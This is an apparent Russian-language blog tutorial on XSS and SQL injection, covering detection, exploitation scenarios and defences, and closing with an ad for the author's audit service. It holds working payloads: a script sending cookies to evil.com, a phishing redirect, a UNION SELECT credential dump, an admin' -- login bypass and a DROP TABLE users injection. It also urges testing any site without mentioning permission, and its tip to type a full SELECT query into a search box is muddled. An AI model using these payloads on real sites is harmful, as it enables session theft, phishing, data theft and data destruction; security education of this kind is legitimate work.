XSS и SQL уязвимости. Способы эксплуатации.

XSS и SQL уязвимости. Способы эксплуатации.

}Marka{


Всем привет! В этой статье мы поговорим о двух самых распространенных уязвимостях, а именно XSS и SQL Injection уязвимостях. Давайте сначала рассмотрим, что это такое.

XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting) — это тип уязвимости безопасности веб-приложений, который позволяет злоумышленникам вставлять вредоносные скрипты на страницы веб-сайта, просматриваемые другими пользователями. Эти скрипты могут выполнять различные действия, такие как кража данных, изменение содержимого страницы, перенаправление пользователей на вредоносные сайты и т. д.

Для выявления этой ошибки я использую автоматизированный скрипт. Аналоги которого можно легко найти в интернете или написать самому, если есть навыки в программировании.

Для проверки вручную достаточно перейти на интересующий вас сайт и ввести в поисковую строку на сайте <script>alert('XSS')</script>. Если сайт выдаст вам "XSS" — поздравляю! Вы нашли уязвимость.

SQL Injection

SQL Injection — это тип уязвимости безопасности веб-приложений, который позволяет злоумышленникам вставлять вредоносные SQL-запросы в поля ввода данных на сайте. Эти запросы могут выполняться на сервере базы данных, что может привести к утечке данных, изменению данных или даже удалению данных.

Точно так же, как и с XSS, можно написать скрипт для её выявления, но чтобы проверить вручную на интересующем вас сайте, достаточно ввести в поисковую строку простой SQL-запрос. Например, такой: SELECT * FROM users WHERE id = 1 OR '1'='1';

Также для обнаружения этих уязвимостей можно использовать специализированные инструменты, такие как Burp Suite и OWASP ZAP.

1. Эксплуатация XSS уязвимости

Сценарий: Кража cookies пользователя

XSS уязвимости могут использоваться для кражи cookies пользователей, которые могут содержать сессии и другие важные данные. Например, злоумышленник может вставить вредоносный JavaScript-код, который отправит cookies на сервер, контролируемый злоумышленником. Для этого можно написать простой код:

<script>
  var img = new Image();
  img.src = "http://evil.com/steal-cookie?cookie=" + document.cookie;
</script>

Этот код создает невидимый запрос на сервер злоумышленника с данными cookies текущего пользователя.

Сценарий: Фишинг и перенаправление

Злоумышленник может использовать XSS для фишинга, перенаправляя пользователей на фальшивые страницы входа. Для этого можно использовать следующий код:

<script>
  window.location.href = "http://evil.com/fake-login";
</script>

2. Эксплуатация SQL Injection уязвимости

Сценарий: Извлечение данных из базы данных

SQL Injection может быть использована для извлечения конфиденциальных данных из базы данных, таких как учетные записи пользователей, пароли, личные данные и т.д., что делает её одной из самых опасных уязвимостей. Давайте рассмотрим простой пример атаки:

У нас есть стандартный URL сайта, на котором мы нашли SQL Injection уязвимость:

http://example.com/product?id=10

Изменяем его, внедряя в него вредоносный запрос:

http://example.com/product?id=10' UNION SELECT username, password FROM users--

Если приложение уязвимо, этот запрос может вывести имена пользователей и их пароли.

Сценарий: Обход аутентификации

Злоумышленник может использовать SQL Injection для обхода аутентификации и входа в систему без правильных учетных данных. Если на сайте есть форма ввода данных для аутентификации, можно войти не проходя её, а что ещё хуже — под именем администратора.

Пример атаки:

Форма входа:

  • Username: admin' --
  • Password: (неважно)

SQL запрос:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';

В результате комментарий (--) игнорирует проверку пароля, позволяя злоумышленнику войти в систему.

Сценарий: Удаление данных из базы данных

SQL Injection также может использоваться для удаления данных из базы данных, что может привести к потере критически важной информации. Рассмотрим пример атаки:

http://example.com/product?id=10; DROP TABLE users--

Если приложение уязвимо, этот запрос удалит таблицу users со всеми данными в ней.

Защита от XSS и SQL Injection

Защита от XSS

  1. Очистка ввода: Всегда очищайте вводимые данные.
  2. Экранирование вывода: Используйте экранирование специальных символов при выводе данных на страницу.
  3. Content Security Policy (CSP): Настройте CSP для ограничения выполнения скриптов на сайте.
  4. Использование безопасных функций: Например, innerText вместо innerHTML.

Защита от SQL Injection

  1. Использование параметризованных запросов: Вместо вставки данных напрямую в SQL-запросы используйте параметризованные запросы.
  2. Экранирование данных: При необходимости экранируйте данные перед вставкой в SQL-запросы.
  3. Использование ORM: Используйте ORM (например, SQLAlchemy), которые автоматически обрабатывают экранирование.
  4. Ограничение привилегий: Ограничьте привилегии учетных записей базы данных для выполнения минимально необходимых действий.

Заключение

В конце хотелось бы обратить внимание на то, что это самые распространённые ошибки, которые можно встретить. Будьте осторожны при заказе сайтов, а заказать аудит проверки безопасности вашего сайта можно напрямую у меня — https://t.me/Marka_kol











































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































Report Page